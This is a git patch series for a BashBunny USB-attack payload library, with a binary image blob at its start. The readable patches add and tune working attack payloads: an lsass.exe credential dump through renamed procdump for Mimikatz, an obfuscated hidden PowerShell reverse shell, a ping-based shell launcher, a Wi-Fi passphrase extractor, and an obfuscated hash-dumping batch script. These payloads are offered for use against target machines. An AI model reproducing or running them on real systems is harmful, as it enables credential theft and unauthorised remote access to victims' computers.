zR_`O}_aG)}dB2gYv&qFocNM}fVZPlATSxMjeVS&e|ygnQzS9=gJiFwx{_Y*i=gx8!Cas%1LyEQCMW*kWTx(PHumpPyZAv7`#qfpq7JsNg_3hh zx7Mc~fTV4Pn&t$#PF^*W?7f;c^rHc_k**WI*WMel$(QX-O0RqCFbSn~W}##83rosb zANq0f(&f|6A{*_yVdUqgUS$i`bZcAPL>mbq!Z-bG_Kxb{!*be?uV3|p}+`bzw@*}h>xSq39se^MgXTC3nM!|n8@+7<4aM~{ z3q_yvdk{<|cjziyW@)-kl{in+n%ps&49DHwSkZE9aO`QvUSOp8GwdzKEp#*{fb+r3)RL&JiD5UC7%$!X45=(DJ{A2Q zR3<`wgh3-;Q6|Jfg*j!W8Dt$!iM3Xaer*tK5JJJqaq=L9ghRN9^Hh{?d) z%^`>PSRCKl02A^TM_tk*Tpw5>S}XfL`|O@vUU=cu_yNB;`ZhS+dBFYbdKY81-y|nv ztElnX_ydquX*B4rZoxK2*@snn-_CE~ByiTFLpRDLQ^|0TdYF}`AnG(oGh$%%axNYY zT^n|gruj_Z#EdlZuhJqMEOYaF_j(i^MdR3o7B6>YjN)@g-AfSa3`-5CzvRuXSGnQb zeg2-*i%D|(7ZK|# zc9qZKx3wLA6B|4DVn46hHyo2CIk?3G&TXOqaY@s`73|^$V+P=;cqe0+gSF$|*Ni0L`M$+FqvoJDEG4 zu(y#d{SJuqfos<)LRz|7#Su3&*h1i%n!z^kO3A+u{^?RqiA0abySf&7g0*-`gA4Pu zgDPRG!PUosqQWl8FZf{Et5Wo5gE7^sJMU63zvEm*JLdnZAf7NRfz@uW$z;cS_cD^QlA8av57>Gi_NuFcAVdpPyOudzNm z&O5R`z}P-|WvGd!n`MJ-)Qo0)R!MEK-Qz|RAO1NFV`A*q&QgmYJ#P*)o5p|8o=@oC ziOsMpu`3+SNV}YN^+#~=$>Vn}!?e8Rsd}sOl5$9R@9H@ycUDu-!onjLqA7uNGFAV} z0NwQnLhGr6dQfU^u58C9rCY%6c!l$w$-3T+Wm1|F2QgZdv|4D)1=Hvl0*58zh|nPFrN1J1Yn+w@?Ai1xoT0F)x>$vC;tcSGHo#mjg){48hP zeEHg_OT;u%d)mgvChrrzbfm>u&xxXT1Y^qCGaDY~|6R9X zX7}8&!X*Xk(r3>#G`^w=O0@OBz1@>x!~aE2!f^Bsqj$r(jb>}7*MizYeF8-2>prm9 zoEZgg3Dc(B)b0O!In7`Nf<=~kT!3e2H0bNUyhjkofM4sYSPpzSlpvgB$xd;`mIBsR zR8*;R@7}$Vfh+bU`!9#8R*m4nw9r85{eT*;(cD*0%}4f@1Rd`!;z}w%Kq8+!a!r=R zR7Kplb7N1&4vhSJ|C-@;%d?l1zH_3g>OY`lM=jFk=AMtp@hy4%aU7~Lp;e^q!T(~n z-}juBoU!D*vaaIh5cVSLdEX!TJF7D6mw(F&EwLk3eI7ZK_{~34AQ?@^7ot7(zrr5_YtqMF2vGV=l4iAgK4Iyb z{F4Us+}gUSzE948c#u}h#fV%WM-juedsV{bPF{}jF+hr;c}w%}mv)NnzN*U#XA$R#}oN? z*#g0EnhB|er@)WuPl&52TI}R}uh93-P8J?S&S2W5rL-dfenEUwu*q5t==q840b{!y zp9k_HUdb>I`)cJ!|1KY(F{Q0CTJkx%CTlYoOYOuSZgF25BsN1l{lWxFh&Ln;AFR zSCnX)-)Mzkq14>r9^hoRr0#F}0;`gghMa`P}Y z$-~zJ#q~~?s9mV#hfplH>i`_vvuk7zulmsDGkPFU>+f15t{(LRU+UXQps-HT0y}vq zcm4yc)xU|RJZLu|nm0|kS33%f*-Ztesy=>l;iuM2&|$msO&Wl8Jp`#LnNiOc%WRcheQW^{fFreRVyI+F&;$cRP=Knf2jI@&i{G;baza4&(ZtF z0t?N__n^LKkk>Y16Mff3dVk|35*(ii5x0vqQ|LQIvQS>*e_%k7h7Ec5#FBw+EsNM( zxl_0&ayn70ow({5BzKts0J0t(6$T4GN1r2UPnb}?0LF>o!5ub&oT+c+{k&bM!dlOC zJ72=GRouBI3~$m-;?9#Mt@c6Va=XIuqNy7dbHuEYKK%!EBZW#FT-}>?!6RZb5}>UQ zt5m#jQEdN1^9wj#B@Vzk@#uJ(dd?@nnkOw9Urb)9#$FLDMpYVK(Z^MnVv6U1s(!Bp{`^hGp67tK+X6aEIv@mun%s>LeZG{^qe0CSH8k?A= z%SUJ@>$wouL_D&!{D%I5wm>pE?~36zpcCO#KK%=*TuT8SFk8e}eP!U59FkmWl<)EK zv2Wa%O>c&Gh97w$43tL|f6GPug#J z0K>KZcyw`C!J3J3hnDGYKy$#`Ed(kyrgZVIwe;$03G{2;K(XYHj#FWGNVESfX8Tls z#vLdxj!Y6rPGc+%YhBc>y-@h*tVcwT8MSOjE_leo!a|Ml-(C&~c0In;6Bd06i_?Ju z6lJdARZuBbhu>U=UP%ncJ$Wjej(D>JV^TO9@R0Qts@oi2}k*0{^nGlm- zjU`60M}1cSE$0v+X2UqS_+L+8w{v_~TI9I5dI9?m<>%&8ENK9Qe~2;p^Y&1eLrvJn zI_7J))MS{OnGnx8=2I+YK$X46+(?r@`+YrG6#%51PR*4kiHBav#^(Go4y|!vhjdFc3%K5llARcu~sR8 z)r4YrSJ%t4IVXmYBIA_=>0F)&EcgF4RB|{h;X$q8kY4Op=nr*C4NR;u$_)LxbX$`B zw`LzfkKL%MNq)Pm7!CW_SLKV1+kKyT1YDzW6mR`4no;6N{n&rNHXC1N7^-sHPs+y= z(Ynfb^*4HUv4_Cs-i5wxnR`co%ntIX-~L-kvt{>d*k#6N)kpMYd0Z#nyuVYgKKXNN zd)$R`Ni@B5{kPuEuIdB{u(JL9 zzGIcYcku@+a8I9Xd1N+RkeuWG&;DV+{PWf#l#BHN%N=LLL%g4Q$u2Jx4Tvq-;pVg;Tq7uf!X+gVNIv>fmKEkmt5 ze)aJvX>c?aQf%E~Mzl9Oxb?L~RA@}K*6Tc+#<1taR77vPpSM#&{x@xEmC5sef^Ln^ zp_=(qxif=EOM$x)0UVT68ZvVj?J5`A%*XK9mj}6)n z9C9Z`a}Pv|CfezOW@nWas}2V2^P;TbD~UZ&W5CUUOAN_!$C*3WG2MTo*Y`nQKS9zU zJmOe*uZ5OWDC9MsA3wa()_xwG{I0XGg{kI)*#-X{_45lC)E2`B@CF6aMJqa@Ck|7GM_u$)|L z=9a1KXRTO->i_oj*{`~g}aEFV$bONu3 zp6bIIPJimXVehmzGsQ~at&qJS^Dy3w*?qW3mEmt;t(oV&7rG&J)B8g@RByOf&eM6i z;AAm-{)WZ1#`J8hmRVm~B(0IRGkz;v5)$a+F#gq#$9dAsB&)u`wIE_VkKt2k{qWqK zAf5D@G|kw3+p8Lcq-FF~g^xtCD1X{>OM?pfB|>(OK9(kHi68V;9)`pX4`;W?{`rj! z;Y{#%bV99Hj;uC~20v?PK_Z-1AiV5Kp)gSd8h~W{U*D;@_|$~fzi15h7#8(|G}@p~ zt7ustbYj6RoP8FdPwbYhSIk{1ewcA=rKG%q$P1q*r~{ivcCEuoR?()%zeD0JAeV%a z2Skc^RVW}VqR@rQ)Yrz+v@^k~fUY7MWtVIDZ!2Cn-!?^Ov6c!~hN3NR6xQ$yF`{!q z0-tV(B6Ig?ReI4IdNAc35&XQWn8Qdt!7(#4!4fxfh;vD-S?DEqEbjl&`e4`IjJ zbis0&<%c1ffh3`9n=Oq&ihJ_z3FQrW*NugQqH#c=M7oDcGxp?rcmADR)g1FaHzQXW zpJP&eMb)Bg3>sBwJb$$MnYvgCC^))K=SkTvw0_xkp3veA`|!{FHGpT>y&pga0DH!c z*9hVK2}F2I!r`wkfY#8Hq6jHR=4dR*&6_elF$~JwN+uLAuPZuB6#~`rER#YLM@sHj z^i|A#iW<4^I$N_PDk7~A`0)9$aKun|QFL!|6MPVf;X5n!3gI?;eD_yXXCK~)_xT(| z(ESXpN#}g<>7OGcT3Ljn;kQm8eok6pSwqY=`m;G^RQaI>-<;3{96;&~*G+%{Be}4) zbB$3k$sNn+G87YQ(evyGcR`+VSsYbe)y9P#u_6<_#R0r>zkc{~v7Jhmx#XH`@@vA* zJ8-A~OmSLkC!I5Gg5QUHsordPQ5zi|-P|!S^7NPGsl>#{+6$!R11&0$FFR~M=FW%u zrG3(F(VMx>K#&~ecj4E{Ak|FY8VZyj2vsYspF3TCsb$`bF+5r=i3se~0hT4-I@@U2++!g@b3~lzi)W7#H|3U;YUPWYiG9O=! zPcAQBWxQq6Y;dfdg5x#cpYO`06yPpG*|=dceY@zV$1iuEdKGGTOfuK-jZ+UVN9bCv z+v$DycpS9mGakw?q%l|@u4xK)JWu4|%(`J!2cf&S>SjioxIT|O!3Vh<2bDV1MxOS) zfRJO49mwWarR}Yq!zS`V#EAEyK$>1WtRhoVI z1alo2llX$p?S;F!;!AK@Ea%*-*t0%=(kI{}19pS=EznzW>Wie zAM=|+0TS+ePXbDc$B47Kk%>xvvs<+~^DW zFddg$%WNCg*PzbrI(og92L#WWu|2Nk^rfCKK5oaslAaaC3=G>pU#_$V}ag$ zn;XFO7xT~iCdR+!${~+sKk$9X&@tZYpqNa{pSo7Nr1MwxvoZ=n2%mLBtDQTxcGsZT zM$_=kC!ZB{xJgYR26^S?sh+#`D#f!O(q!h}bH{5`ApPxKE9_Omy)zhi&>XTmZWhja z8PLcc3CVl)hmwb9>sLtNiih`OFo6{UQNq2p9+H}rrLO)&o z^ILIHs3)du1IF7UUarxkXfB)ArKaFAs#B5nGNLUB(ziRw|W7QIaR+PoX_To3c?JJZN~Spo*CS?8iRi*Spzbl+T(X>`MZ6MZZ<3Do9s4rjZtlhEnsRc<>U>6VyfGvLSV*0Ny`=H)r zrwpa96(IMFPbR!{xi^-59eC)JuBi$opb2-L^R4W4pPpZi+yQn13JcD1wJ^-x+EX$< zp$2m5GJQaJu=D&n-gCA2j_K!ScZZ_B%y}FX33|u_rLI_Ou0-f{DD?7*%H1D*gxgb< z@NIdZ+0AHdd4&l7)c3yoCOye0a@w7@Okc9dxYkS7fvr_mjk)QX-1oH}lMb$4LMI0B zqPT%T;|1E_rW$^&O*VIit&kD)veE#jLJ7V7peEcjO#qj>dbdtq6cLZw?zsdHASh!) zJEGrVBAh5vk!SCy6Q3Q5FkxoDlc=9-Bh*-Rx$JH3TB-SVl<{Nn7^`Q zE9BLbu;C9e>AtbgA&GlA7U7>1C(@NLSKEu9qx)|0t~xFCFbzMlTomC^cklQFD; z{PmZ9$l(*P+<_|Br>RHlbz3}jH5{!=Jy-fPZ(y=~*e$~_qow*^P$lS3972n?uvhrM zXA7%e63o6zd^qP7w+MT3(sL#>mrWU!^PFX z1CXwIuxt4C57L>}XayZCN32|M)PPF-)MuszE}R1lFZYtzwdQ)`KrOl__=wy9ay+S! z;F{3ngajC*aoo1Ew4ccsxQ4tamW5-f%CANZZpxfhwBMRRW}n%z(7S?SojM^$w>(%(t_!LfR0S5JM_$9@CN<2K+jx5*vnx2*Jwuifd94lms}DqxA1t^^7* znQnJ0ovwm+Y|r{+$kUS!?QMBCZCv*p0tJ6yjFaqOS7J-;C&AGwdf$PJ4+p*2$AsOX zPbzjguM1yM$kD?;)P&Bo6fKs`HEH*z;Yt*V2~pFV=Xu`H+VT|llS_Fr#Z=4f2`~U9 zMAXJGAQuiE-t@HJc8jk{#&RaTNwIngb{5Q(H@a&AFN$N!>pS0!5P9vYc2|^YRMLUCJ}Kb(eH%nd_P#A=ACNs+!@>;0*dIG} zzp`Nm4A^9JRD-im@6ifvYg^?g)&mL{sLJbRst8?+*Rgnaz`L~J6 zXDz9b2YlyslRi5V;-|P0S~?kX-Wn>q{=h;)2m83-)l>&Qa-br3 z_tnIR#G@+p`(aMr>Eq^6(*p)%aoii&4mq2k+?x!Y%-M8x1{J4Eh4B{A4&vu<&;J(k z1~bJS7r$YNNZwxifiw74DPA&nqB3%)vqQ!zOWY-*bN{7z^_2JY-6<7FT=Pd4$rqf> zfkoP>O@3d;smH3$D{Tj$8D7AG2jFZMMb#{vyuVV_xbpUJ$SA#9!B+y2;J{#KFs?A0 zuiwGju3 z0}|mu#Zfsm$aKwmlv=E;x^FllcfTh5I{9{5H`OTd240RXyo8cWSYGTz0`BZocik#& zie^q%*<*=3NP5`v1?R|VKE`Ijq(znD6Wnz3Pt9E|@Kz0ZM)POEQ^`*9FLKwP;NBbU zzsGDb|8RjvPnAx6g=FwVF~9k~aPZoKEafC_bYL!aIlkN_SKU7C(|gA!W431!OfVnk z&dK1BleA@2fim24f?dE|n=%%Lg|?exb%L4A4z~0VANxC3?}>>f|6WWQ6zc?6ZTRVM z%U~51Z+MzbJImBQY7A4gPrMB_Q<1MxlSmiPP840{#7l|}Q?zuBCj?!kA^O&)=W6Au zAa|Pfq*B#c3!32ty(vmOc?pTKN5OCsL0uAba7aOfO^HG;>dbk7jzoLW*9u;e_MJ-^ zy7{{3^B;|hX;(bT_H6oDzdK%OPxhXEFx>2bm8cpL=xVH36pB|~br7Em4{1v39#iOD z`Qc9#nD6s_8L1u{{#PfCPXNwCorp zRm$ki=nY-yBN6e0D@2TzhCljG*RdHLw}*xJ@`}fXxK^d`rZ|BoxmM1^FsxbP zN4z;aBhKcr1l|(4HW*jVB9%`NXIWFHLNX^ynE-)%4nxO~V9?c;_XKFh2HymglV!^{qE#Sr>Q zlYuz*A}X+)UcnXnZot|qsyF9n zmSYR+FUT<37i;XS22ySmKqb5pxIdE3K69{CcYqMVPXJ2>qzq@h~dIg|y5pN_3?gLW948s2$(<`k~$p=o;`hh|yA;h|uu z*w<`rSu}H%kD~r7ymbmJ3boy^6Pj?`NHshN9BKD)5KsRhJ;SPN>{jJ$_XI2UX!MQZ zHJ5m;E+3E|f86sC!Dje{h&@?fcx5a=iaNArqC{po zt?n;>hJ0@H;Yxzc_h$9D?i9A~=gG>Ocpf@~FrVr~{9kL1ql=4Go!Y%l)uQ$ICjJpgm&xC*j~@05}yMSQKRN} z3f}XW4}HUb##;bwjt_rwe&)Do|HeBGgvM*244hjuXvn&F=tWrG zYkvF8LNH)a+rw<4z0x3cTUWZvu_I!9|82>TgjB)QS9}7l`!xF!RLtm`p5t5RGe`ik z+rc)rike6$yL+<&|yHDZfNN&te8Oh>60S+!|yyx zi81!E!z7WP@|dmHZD-?6n9_!ncmCtpdyr;j!E*P+awsVrBQZuk(=(VQp+)EcQeKW z_Vcp(_uNC_iRBLCf?t%|mDwwcaxN(FYRGjkqUqV$_gxhWyM@_D{|cy5Hp`i4Nm+V^ zW#;9R-YO5Kmb>14Empaj%^iUZ&^DE)U1;BbPk6}@WVwbklJ;PrsSCYEwp}uYv~bGE z{89xWffji1Eo^~%O0S$!-FWF>2G86acz#d~lKR89iEXFtjw<+Elahx$Rsy=8&}{8J zhsZByUV3a*g69}tbNnEoBoa7#-(=4_49%)6`$=ww$fM({- z`<+$W>sd-2qdo*`BSBoEL46@OH7Mk?Zugd6xrF|GD@wDNwa(B)E%o{a?PMyGw}YTY zX?S^#(3(h4XEwA=DSk0TK)M|?v46jykx-D=kbXSp>^s0 TI!4mp;*GABk!IOlyRiQPsW+Yy literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/ProcDumpBunny/payload.txt b/payloads/library/credentials/ProcDumpBunny/payload.txt new file mode 100644 index 00000000..ad13deac --- /dev/null +++ b/payloads/library/credentials/ProcDumpBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: ProcDumpBunny +# Description: Dump lsass.exe with a renamed version of procdump +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +#After you have adapted the delays for your target, add "-W hidden" +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Bunny.exe -ma lsass.exe out.dmp')" +Q DELAY 250 +Q STRING " ;mv out.dmp ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';(New-Object -comObject Shell.Application).Nam" +Q DELAY 250 +Q STRING "espace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file From 2b489f864c10d4183b3812810626840661456863 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Tue, 25 Jan 2022 19:16:31 +0100 Subject: [PATCH 29/59] Update README.md --- payloads/library/credentials/ProcDumpBunny/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/payloads/library/credentials/ProcDumpBunny/README.md b/payloads/library/credentials/ProcDumpBunny/README.md index 7cbb8502..31b9ef73 100644 --- a/payloads/library/credentials/ProcDumpBunny/README.md +++ b/payloads/library/credentials/ProcDumpBunny/README.md @@ -12,10 +12,10 @@ What is ProcDumpBunny? **Instruction:** Download ProcDump from Microsoft - https://docs.microsoft.com/en-us/sysinternals/downloads/procdump - rename the Executeable to Bunny.exe -![alt text] +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(38).png) Place Bunny.exe in the same payload switch as your payload -![alt text] +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(37).png) # Plug in BashBunny. Exfiltrate the out.dmp file and read it with Mimikatz. -![alt text] +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(39).png) From 4f57e587a1eaa497c2be47b67d82370fd0085339 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Tue, 25 Jan 2022 19:17:52 +0100 Subject: [PATCH 30/59] Update payload.txt --- payloads/library/credentials/ProcDumpBunny/payload.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/payloads/library/credentials/ProcDumpBunny/payload.txt b/payloads/library/credentials/ProcDumpBunny/payload.txt index ad13deac..b0275b7e 100644 --- a/payloads/library/credentials/ProcDumpBunny/payload.txt +++ b/payloads/library/credentials/ProcDumpBunny/payload.txt @@ -27,6 +27,7 @@ Q DELAY 1000 RUN WIN "powershell Start-Process powershell -Verb runAs" Q ENTER Q DELAY 1000 +#Depending on your language - you need to change this - english layout: "Q ALT y" for example Q ALT j Q DELAY 250 @@ -41,4 +42,4 @@ Q STRING "espace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" Q DELAY 300 Q ENTER -LED FINISH \ No newline at end of file +LED FINISH From 3849dd78b3d3a4d20cfcc98d96847d2cd727d57c Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 09:19:56 +0100 Subject: [PATCH 31/59] Updated ReverseBunny Fixed wrong DELAY commands --- .../remote_access/ReverseBunny/payload.txt | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index 694781e6..9cabc845 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -3,7 +3,7 @@ # Title: ReverseBunny # Description: Get remote access using obfuscated powershell code - If caught by AV, feel free to contact me. # Author: 0iphor13 -# Version: 1.2 +# Version: 1.3 # Category: Remote_Access # Attackmodes: HID @@ -16,32 +16,32 @@ ATTACKMODE HID #If needed, use this option #WAIT_FOR_PRESENT Your_Device -DELAY 5000 +Q DELAY 1500 Q GUI r -DELAY 5000 +Q DELAY 500 Q STRING "powershell -NoP -NonI -W hidden" -DELAY 5000 +Q DELAY 500 Q ENTER -DELAY 1000 +Q DELAY 250 Q STRING "\$I='0.0.0.0';\$P=4444;&(\$SHellid[1]+\$shELlId[13]+'x')(NEw-ObJECt sYstem.iO.coMPRESsIOn.dEFLateSTReAm([sYstEM.I" -DELAY 1000 +Q DELAY 250 Q STRING "o.MEmORyStReAm] [sYstEM.cOnvErT]::frOMBasE64sTrIng('jVJhb9owEP3c/IpT5A1HBUNXdR8apWqJPBSNUdSkWyuCogAWpAIHJa5K2vS/72yaqeoH" -DELAY 1000 +Q DELAY 250 Q STRING "urN8nH3Pz88vkNmjlJV3aVsWHB3ROEmSrgNgFl6LtbxmYTsJTisxAQfiE4RVawTEBxg+QSBDnXSh29yz/8WRmHM6NQjd3Xf+ZT2RAaPbBX1LDIjEqoYWvh1R" -DELAY 1000 +Q DELAY 250 Q STRING "9X6lueq30UJgk83QGmIsENWN4fe+0h2IzTFoNOhcw4ehd6wYc5zERm2MSFNhjW1NiknPfaNtOnWT9Q4yHPoKn4Umbhj6FUAv267y4uT0/xmMzDcGa1yIsoQJ" -DELAY 1000 +Q DELAY 250 Q STRING "l0oUU1A5zHOpMvkoGGOWZV+6lkWG6Tpd+4+lyjfgwSQSO8W4nOeLTC6n5+dXoR8EbCBUv1KipMT8MR19cO5J/tTJ+w/cVxDel4pv2IgrFl7Pf3JVssgf" -DELAY 1000 +Q DELAY 250 Q STRING "++sA76YkaJOx45LSI3NNFUaFuNpQvcOeikwJ+l5Fu9d+v2RDIZdq5biTGSqYTKdk5vUY+352dnpWf3npvbpPq2AoKCWZh3w3PF2gSk0yw6OjZbRynI4U0HN" -DELAY 1000 +Q DELAY 250 Q STRING "eXLLw6AhFX/cfhB9BJ7rfilG64VDel5H4xSJxp5h5ceOAY/Sqm0Au31gzlP3s0UzcAVnAt4uvJ3V+qzr4pmw0wN7OI8/Hdl/bdDkOwT6myNAZ5vNUZbl02DZ" -DELAY 1000 +Q DELAY 250 Q STRING "Vq2P7AmyXVB6dKO23+OA33srR8Iij4Ttj058i0DZVWkHFhlwO8F268WN9G66o8+qitf46Dzl1rL8='),[Io.COmpressIoN.coMPressiONmoDe]::decOMp" -DELAY 1000 +Q DELAY 250 Q STRING "ReSS ) | %{ NEw-ObJECt systEm.io.STREAmReadEr(\$_ , [sysTeM.TExt.encODIng]::AscIi)}| % {\$_.readTOeNd()} )" -DELAY 1000 +Q DELAY 250 Q ENTER LED FINISH From 605ce41662106590a1a66ca35888046b0dcd41d0 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 09:21:15 +0100 Subject: [PATCH 32/59] Updated PingZhellBunny Fixed wrong DELAY commands --- .../remote_access/PingZhellBunny/payload.txt | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index ca6416ee..2b62fa78 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -9,12 +9,12 @@ LED SETUP -DELAY 500 +Q DELAY 500 GET SWITCH_POSITION DUCKY_LANG de -DELAY 500 +Q DELAY 500 ATTACKMODE HID STORAGE @@ -23,16 +23,16 @@ ATTACKMODE HID STORAGE LED STAGE1 #After you have adapted the delays for your target, add "-W hidden" -DELAY 5000 +Q DELAY 1500 RUN WIN "powershell -Exec Bypass -NoP -NonI" -DELAY 6000 +Q DELAY 500 Q ENTER -DELAY 20000 +Q DELAY 1000 Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')" -DELAY 20000 +Q DELAY 3000 Q ENTER -DELAY 15000 +Q DELAY 1000 ATTACKMODE HID From 1eb60b48e73e13ae49ac9346104db31d94d3a2a2 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 09:23:59 +0100 Subject: [PATCH 33/59] Updated WifiSnatch Fixed multiple mistakes --- .../exfiltration/WifiSnatch/payload.txt | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/payloads/library/exfiltration/WifiSnatch/payload.txt b/payloads/library/exfiltration/WifiSnatch/payload.txt index 31c958af..45aa88ce 100644 --- a/payloads/library/exfiltration/WifiSnatch/payload.txt +++ b/payloads/library/exfiltration/WifiSnatch/payload.txt @@ -3,7 +3,7 @@ # Title: WifiSnatch # Description: Extract wifi information, such as passphrases & SSIDs # Author: 0iphor13 -# Version: 1.0 +# Version: 1.1 # Category: Exfiltration # Attackmodes: HID, Storage @@ -20,18 +20,19 @@ ATTACKMODE HID STORAGE LED STAGE1 -DELAY 5000 +Q DELAY 1500 RUN WIN "powershell -NoP -W hidden -NonI -Exec Bypass" -DELAY 5000 +Q DELAY 500 +Q ENTER Q STRING "Set-Clipboard -Value (gc((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\exfil.txt'))" -DELAY 10000 +Q DELAY 2000 Q ENTER -DELAY 10000 +Q DELAY 1000 Q CONTROL v -DELAY 10000 +Q DELAY 1000 Q ENTER -DELAY 1000 +Q DELAY 1000 LED STAGE2 @@ -44,12 +45,12 @@ LED CLEANUP rm /root/udisk/DONE -DELAY 100 +Q DELAY 100 sync -DELAY 100 +Q DELAY 100 LED FINISH -#SAVE TO EJECT \ No newline at end of file +#SAVE TO EJECT From 2549d533732e38b6406c50e78150dc7428c41efd Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 13:55:50 +0100 Subject: [PATCH 34/59] Uploaded HashDumpBunny Use your BashBunny to dump the user hashes of your target - similar to the msf post-module. The script was obfuscated with multiple layers, so don't be confused. If you don't trust this script, run it within a save testing space - which should be best practice anyways ;) --- .../credentials/HashDumpBunny/BunnyDump.bat | 2 + .../credentials/HashDumpBunny/README.md | 15 +++++++ .../credentials/HashDumpBunny/payload.txt | 44 +++++++++++++++++++ 3 files changed, 61 insertions(+) create mode 100644 payloads/library/credentials/HashDumpBunny/BunnyDump.bat create mode 100644 payloads/library/credentials/HashDumpBunny/README.md create mode 100644 payloads/library/credentials/HashDumpBunny/payload.txt diff --git a/payloads/library/credentials/HashDumpBunny/BunnyDump.bat b/payloads/library/credentials/HashDumpBunny/BunnyDump.bat new file mode 100644 index 00000000..fe9c68d9 --- /dev/null +++ b/payloads/library/credentials/HashDumpBunny/BunnyDump.bat @@ -0,0 +1,2 @@ +’ž&cls +powershell.exe -c "&( ([sTring]$veRboSePrEfeREncE)[1,3]+'x'-joIn'')( nEw-oBjEct Io.STREaMReAdeR( (nEw-oBjEct SyStEM.iO.coMPReSsioN.dEFLAtEsTrEaM( [sYSteM.Io.MEmoRYSTrEam] [coNvERT]::FrombAse64sTriNG('7Ttrc9pItp/jX6FLPGOYAMsbbFeqwkMEYl6RIBmX46WF1BiNhcRIwjbXy3+/53S3XvgRz+7W1r1VN/ERoO4+5/R5d7f0vu1sdq55s/Kloam7jucs/aP30nnm6Oj4UW275sQnZ5sx+S67xoysN3vpo3T8aG+JZe2Plltb903HlgaOZjQ35tHjkQT/jh/XxHRd4hDFpUtLbk9x1K/pkxG9z518OBkv4PIH1f2TjKTuPJ+u8wr0owxXvul5dL2wdiNtTdMn3027XBqYi5OMQL0gTmu6klszkwxIR1YQ9VVzs+k4a820r8/O2lvXpbbPf+c7dGnatLOztbWpB6jTx49Dkyjw33EVIgOLur/PSlcxLuS16YestLamZVC3qevU84CEsrUjdmb9gbEeE2NLBpRLp+Us/B5tkRnpDzoEWExyMXSMrRWfWhbGLLUBUeV9gHZ6SSYy4iZImKOFnzDnztrpzJCUQDrdbQDXxLmnbme73gCyk8l2YZl6VmpbmueFgvs6M9u3Q9Ik0x7HN91NiEyATXNgREwOqb9yjDQbhP9OFHoz3lD7gu7kh5NseD8uLD6m6fuuudj61LuOeFB9zTf1+DjT9q9jP5H/q+tr6VNaNElXHuCxb/CbuBH7yA+1W9raAXE28QyfXTBHw0G7RIsAFfnmmub7tk9dZ6NS984E7eU7ltVfbxzXD7m9zn+mftuxgepW9x03/Sl9pXIOMgHeZZ8MBhxvNOuuSS2jby8dzn5MMn+NNsOTPpFt391NHJjkSSb7ryJrrzRXpf5JUjxLYspgQWwi4wV64AHrLyv7BS4EHfCJ5tZ3EsRklyhj5cDzARbC8w+drb31fGcdzkb4XMTb8WOHjAfWPuLqU/pEM+60jVku5Q3LiosN5gq+Eu+Ms+8T2ersE1z+SdAtyFrzV/s8zOSAC4gUFKKYo+xjA/oERzRhBPMjHwwR3YiYVgd89RU/+rql7g4tBuT7n3GlKX3w89yaF1ygLznS6272v+o2GOHEd6+Ttt0hTuCi/1bX7/bRjv4vub5mWTADmNYdpEHg9t+AExxjoHm+7LqOexBTuqRPifWTmPKi4b8UVg7nAAEG0iW4etyhpy6Z0aQ7y0RRxm4YdCDc3Of+xaAzxpTyxqDTNTFPJO+wiJtg8uuW9NsXa5aJX4g5WJvAPMIREHRYlAqTt08uoUDY9i2D0Fdzd9tyPPqfiTcHuRii9f875OvOA0mK/iwfP6NAVL9yaPpUgXJWOTB9RArf/vl8O3iz6fefmH6f0CfpFrKkfgGGPH0x3SouGUfp1msTxSRsEQLrie+yYmyHk6B+3RBgG9IuK1/bLtV8Xg5njvawemmSEVt48CQo27pjoCFBqaK2+31UUGsHFp9OjaaTpqp+HysdUkhlztnQwfpNQwfDw6H